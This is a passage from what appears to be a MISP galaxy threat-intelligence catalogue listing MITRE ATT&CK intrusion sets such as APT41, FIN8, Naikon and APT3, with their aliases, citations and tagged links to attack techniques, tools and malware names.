uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
Links |
Molerats - G0021
[Molerats](https://attack.mitre.org/groups/G0021) is a politically-motivated threat group that has been operating since 2012. The group’s victims have primarily been in the Middle East, Europe, and the United States. (Citation: DustySky) (Citation: DustySky2)
The tag is: misp-galaxy:mitre-intrusion-set="Molerats - G0021"
Molerats - G0021 is also known as:
-
Molerats
-
Operation Molerats
-
Gaza Cybergang
Molerats - G0021 has relationships with:
-
similar: misp-galaxy:threat-actor="Molerats" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="DustySky - S0062" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
admin@338 - G0018
[admin@338](https://attack.mitre.org/groups/G0018) is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as [PoisonIvy](https://attack.mitre.org/software/S0012), as well as some non-public backdoors. (Citation: FireEye admin@338)
The tag is: misp-galaxy:mitre-intrusion-set="admin@338 - G0018"
admin@338 - G0018 is also known as:
-
admin@338
admin@338 - G0018 has relationships with:
-
similar: misp-galaxy:threat-actor="Temper Panda" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="netstat - S0104" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="BUBBLEWRAP - S0043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="LOWBALL - S0042" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html |
APT19 - G0073
[APT19](https://attack.mitre.org/groups/G0073) is a Chinese-based threat group that has targeted a variety of industries, including defense, finance, energy, pharmaceutical, telecommunications, high tech, education, manufacturing, and legal services. In 2017, a phishing campaign was used to target seven law and investment firms. (Citation: FireEye APT19) Some analysts track [APT19](https://attack.mitre.org/groups/G0073) and [Deep Panda](https://attack.mitre.org/groups/G0009) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China’s Espionage Jul 2016) (Citation: FireEye APT Groups) (Citation: Unit 42 C0d0so0 Jan 2016)
The tag is: misp-galaxy:mitre-intrusion-set="APT19 - G0073"
APT19 - G0073 is also known as:
-
APT19
-
Codoso
-
C0d0so0
-
Codoso Team
-
Sunshop Group
APT19 - G0073 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"
APT41 - G0096
[APT41](https://attack.mitre.org/groups/G0096) is a group that carries out Chinese state-sponsored espionage activity in addition to financially motivated activity. [APT41](https://attack.mitre.org/groups/G0096) has been active since as early as 2012. The group has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries.(Citation: FireEye APT41 Aug 2019)
The tag is: misp-galaxy:mitre-intrusion-set="APT41 - G0096"
APT41 - G0096 is also known as:
-
APT41
APT41 - G0096 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Bootkit - T1067" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1015" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1483" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1195" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Clear Command History - T1146" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="BLACKCOFFEE - S0069" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="China Chopper - S0020" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="PowerSploit - S0194" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="njRAT - S0385" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="gh0st RAT - S0032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="pwdump - S0006" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="netstat - S0104" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="ROCKBOOT - S0112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Derusbi - S0021" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="ASPXSpy - S0073" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1223" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="ZxShell - S0412" with estimative-language:likelihood-probability="almost-certain"
Links |
Strider - G0041
[Strider](https://attack.mitre.org/groups/G0041) is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda. (Citation: Symantec Strider Blog) (Citation: Kaspersky ProjectSauron Blog)
The tag is: misp-galaxy:mitre-intrusion-set="Strider - G0041"
Strider - G0041 is also known as:
-
Strider
-
ProjectSauron
Strider - G0041 has relationships with:
-
similar: misp-galaxy:threat-actor="ProjectSauron" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Remsec - S0125" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
Taidoor - G0015
[Taidoor](https://attack.mitre.org/groups/G0015) is a threat group that has operated since at least 2009 and has primarily targeted the Taiwanese government. (Citation: TrendMicro Taidoor)
The tag is: misp-galaxy:mitre-intrusion-set="Taidoor - G0015"
Taidoor - G0015 is also known as:
-
Taidoor
Taidoor - G0015 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
Links |
FIN8 - G0061
[FIN8](https://attack.mitre.org/groups/G0061) is a financially motivated threat group known to launch tailored spearphishing campaigns targeting the retail, restaurant, and hospitality industries. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Fin8 May 2016)
The tag is: misp-galaxy:mitre-intrusion-set="FIN8 - G0061"
FIN8 - G0061 is also known as:
-
FIN8
FIN8 - G0061 has relationships with:
-
similar: misp-galaxy:threat-actor="FIN8" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="dsquery - S0105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="PUNCHTRACK - S0197" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="PUNCHBUGGY - S0196" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
DragonOK - G0017
[DragonOK](https://attack.mitre.org/groups/G0017) is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, [DragonOK](https://attack.mitre.org/groups/G0017) is thought to have a direct or indirect relationship with the threat group [Moafee](https://attack.mitre.org/groups/G0002). (Citation: Operation Quantum Entanglement) It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. (Citation: New DragonOK)
The tag is: misp-galaxy:mitre-intrusion-set="DragonOK - G0017"
DragonOK - G0017 is also known as:
-
DragonOK
DragonOK - G0017 has relationships with:
-
similar: misp-galaxy:threat-actor="DragonOK" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"
Links |
Orangeworm - G0071
[Orangeworm](https://attack.mitre.org/groups/G0071) is a group that has targeted organizations in the healthcare sector in the United States, Europe, and Asia since at least 2015, likely for the purpose of corporate espionage. (Citation: Symantec Orangeworm April 2018)
The tag is: misp-galaxy:mitre-intrusion-set="Orangeworm - G0071"
Orangeworm - G0071 is also known as:
-
Orangeworm
Orangeworm - G0071 has relationships with:
-
uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="route - S0103" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="cmd - S0106" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Kwampirs - S0236" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Arp - S0099" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="netstat - S0104" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia |
Naikon - G0019
[Naikon](https://attack.mitre.org/groups/G0019) is a threat group that has focused on targets around the South China Sea. (Citation: Baumgartner Naikon 2015) The group has been attributed to the Chinese People’s Liberation Army’s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020). (Citation: CameraShy) While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches. (Citation: Baumgartner Golovkin Naikon 2015)
The tag is: misp-galaxy:mitre-intrusion-set="Naikon - G0019"
Naikon - G0019 is also known as:
-
Naikon
Naikon - G0019 has relationships with:
-
similar: misp-galaxy:threat-actor="Naikon" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Lotus Panda" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="APT 30" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Sys10 - S0060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="WinMM - S0059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="RARSTONE - S0055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="SslMM - S0058" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="HDoor - S0061" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="FTP - S0095" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="netsh - S0108" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
Links |
http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf |
Silence - G0091
[Silence](https://attack.mitre.org/groups/G0091) is a financially motivated threat actor targeting financial institutions in different countries. The group was first seen in June 2016. Their main targets reside in Russia, Ukraine, Belarus, Azerbaijan, Poland and Kazakhstan. They compromised various banking systems, including the Russian Central Bank’s Automated Workstation Client, ATMs, and card processing. (Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017)
The tag is: misp-galaxy:mitre-intrusion-set="Silence - G0091"
Silence - G0091 is also known as:
-
Silence
Silence - G0091 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1223" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Winexe - S0191" with estimative-language:likelihood-probability="almost-certain"
Links |
APT3 - G0022
[APT3](https://attack.mitre.org/groups/G0022) is a China-based threat group that researchers have attributed to China’s Ministry of State Security. (Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. (Citation: FireEye Clandestine Wolf) (Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong. (Citation: Symantec Buckeye)
MITRE has also developed an APT3 Adversary Emulation Plan.(Citation: APT3 Adversary Emulation Plan)
The tag is: misp-galaxy:mitre-intrusion-set="APT3 - G0022"
APT3 - G0022 is also known as:
-
APT3
-
Gothic Panda
-
Pirpi
-
UPS Team
-
Buckeye
-
Threat Group-0110
-
TG-0110
APT3 - G0022 has relationships with:
-
similar: misp-galaxy:threat-actor="UPS" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-malware="RemoteCMD - S0166" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1015" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Redundant Access - T1108" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="schtasks - S0111" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Graphical User Interface - T1061" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
